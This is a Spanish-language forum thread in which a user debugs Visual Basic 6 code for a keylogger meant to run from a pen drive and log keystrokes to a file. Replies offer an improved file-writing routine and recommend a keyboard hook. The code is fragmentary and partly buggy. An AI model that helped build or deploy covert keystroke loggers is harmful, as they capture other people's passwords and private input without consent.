para el keylogger uso GetAsyncKeyState y para que se guarde automaticamente si intervencion del usuario uso este codigo
Private Sub Timer2_Timer()
Dim NumeroArchivo As Integer
Dim ruta As String
archivo = FreeFile
ruta = App.Path & "\log.txt"
Open (ruta) For Append As #archivo
If Text1.DataChanged = True Then
Print #archivo, (Text1)
Text1.Text = ""
Close #archivo
Else
Close #archivo
End If
End Sub
pero al hacer los logs me hace esto
IZ.R]
esto[Espacio]
es[Espacio]una[Espacio]p
rue
[Retroceso]
bapa
ra[Espacio]ver[Espacio]qu
e[Espacio]pasa
eps
e
ro[Espacio]
10[Espacio]s
eg
ya
en ese gran espacio espere 10 seg en los que no deberia escribir nada por el if pero aun asi escribe espacios
pd: le dije que cada vez que guardara pusiera el text1 en blanco porque antes me ponia lo que tenia mas lo nuevo por ejemplo
h
ho
hol
hola
Antes que nada usa el Geshi e Indecta tu codigo, es casi imposible leerlo asi como esta.
por otro lado aquí te dejo el codigo un poco mejorado
----------------------------->
EDITO: Corregi unas variables:
Const Satisfacción = "Se ecribir en el archivo correctamente"
Const Insatisfaccion = "No se a escrito nada por que no hay nada que escribir, o hay un error en el acceso del archivop "
Dim NumeroArchivo As Integer
Private Sub Form_Load()
Dim Cabecera As String
Dim Ruta As String
Dim ContinuarLog As Boolean ' Esta variable es solo para que entiendas la función Escribir.
Ruta = "c:\log.txt"
NumeroArchivo = FreeFile
' // Se sobre escribe el Log Anterior a este?
ContinuarLog = True ' // El true significa que se seguira desde el ultimo byte,
' // Si se póne False, va ir reemplzando desde el primer byte
Open Ruta For Binary Access Write As #Archivo
' // Comprobamos el peso del log
If LOF(NumeroArchivo) > 0 And ContinuarLog Then
Cabecera = vbCrLf & vbCrLf
End If
Cabecera = Cabecera & "Inicio de Archivo Log" & vbCrLf & _
vbTab & "Iniciado el Dia: " & Date & vbCrLf & _
vbTab & "Hora de Inicio: " & Time & vbCrLf & _
vbCrLf & _
"--------Inicio del Log----->" & vbCrLf & vbCrLf
If Escribir(NumeroArchivo, Cabecera, ContinuarLog) Then
Debug.Print Satisfacción
Else
Debug.Print Insatisfaccion
End If
End Sub
Private Sub Timer1_Timer()
If Escribir(NumeroArchivo, Text1.Text, True) Then
Text1.Text = ""
Debug.Print Satisfacción
Else
Debug.Print Insatisfaccion
End If
End Sub
Private Function Escribir(NumberOFileOpen As Integer, vData As String, Optional UltimoByte As Boolean = False)
On Error GoTo eError:
If Variable = "" Then
If UltimoByte = True Then
Seek #NumberOFileOpen, LOF(NumberOFileOpen) + 1' // Nos movemos al final del archivo
End If
Put #NumberOFileOpen, , vData
Escribir = True
End If
Exit Function
eError:
Escribir = False
End Function
Private Sub Form_Unload(Cancel As Integer)
Close NumeroArchivo
End Sub
Dulces Lunas!¡.
ahora que me fijo hay un error auqneu parece que no afecta
el error es que yo establezco la variable numeroarchivo pero luego uso #archivo
la ruta prefiero usar app.path como estaba porque la idea es que el keylogger se ejecute en un pendrive y como no en todos los ordenas se le asigna la misma letra pues asi me aseguro que se guarda en el pendrive
y el log en mi codigo no se sobreescribe porque uso open "" For append As #Archivo
asi que lo que hace es añadir lo que esta en el text1.text al archivo log.txt
no se si te referias a si se sobreescribe en mi codigo o en que me pasate tu
ese lo pruebo mañana porque creo que em voy a ir ya que estoy cansado :xD
jamas me referi a nada de lo que me citas, lo de la ruta la puse asi por que no deseo mover a C.\archivos\ bla bla bla hasta la carpat de mi visual se entiende?, lo demás si quieres adaptalo a tu proyecto es cosa tuya, yo solo te he puesto un ejemplo.
Lo de Append si lo entiendo y se que hace. pero no utilizo yo esos ya que para eso uso el acceso Binario en modo aleatorio y el seek()...
tecnicamente te hice este ejemplo por que tu abres y cierras bruscamente el archivo variadas veces en el timer.
lo hago asi porque creo que esa es la mejor forma ya que me interesa que se quede escrito todo hasta el momento en el que se retira el pendrive
y otra cosa
puedo parecer algo noob pero como uso el geshi? porque el codigo no me lo da en bbcode para poder ponerlo aqui y que salga bien
Cita de: Daklon en 1 Noviembre 2009, 00:44 AM
puedo parecer algo noob pero como uso el geshi?
encerra el codigo entre
[ code=vb] [ /code] , (quitale el espacio despues del corchete). y una recomendación es que uses Hook para el teclado, es lo mejor, no tenes que andar renegando con Timers.si buscas en el foro vas a encontrar un monton de ejemplos.